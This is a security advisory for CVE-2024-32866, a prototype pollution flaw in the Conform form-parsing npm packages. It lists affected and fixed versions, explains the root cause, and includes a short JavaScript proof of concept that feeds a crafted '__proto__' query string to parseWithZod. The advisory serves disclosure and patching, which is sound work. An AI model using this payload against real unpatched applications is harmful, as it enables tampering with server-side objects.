CVE-2024-32866
Conform contains a Prototype Pollution Vulnerability in `parseWith...` function
Impact
### Summary Conform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions. ### PoC ```javascript const { parseWithZod } = require('@conform-to/zod'); const { z } = require("zod"); const param = new URLSearchParams("__proto__.pollution=polluted"); const schema = z.object({ "a": z.string() }); parseWithZod(param, { schema }); console.log("pollution:", ({}).pollution); // should print "polluted" ``` ### Details The invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution: ```javascript let pointer = value; pointer.__proto__ = pointer.__proto__; pointer = pointer.__proto__; pointer.polluted = "polluted"; ``` This is caused by the lack of object existence checking on [line 117 in formdata.ts](https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117), where the code only checks for the presence of `pointer[key]` without proper validation. ### Impact Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @conform-to/dom | >= 1.0.0, <= 1.1.0 | 1.1.1 |
| npm | @conform-to/zod | >= 1.0.0, <= 1.1.0 | 1.1.1 |
| npm | @conform-to/yup | >= 1.0.0, <= 1.1.0 | 1.1.1 |
Affected products
| Product | Affected versions |
|---|---|
| Versions | before 1.1.1 |
Versions were read from the advisory text. No structured product data has been published for this record yet.
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117
- https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de
- https://github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf
- https://github.com/advisories/GHSA-624g-8qjg-8qxf
- https://nvd.nist.gov/vuln/detail/CVE-2024-32866
- https://github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef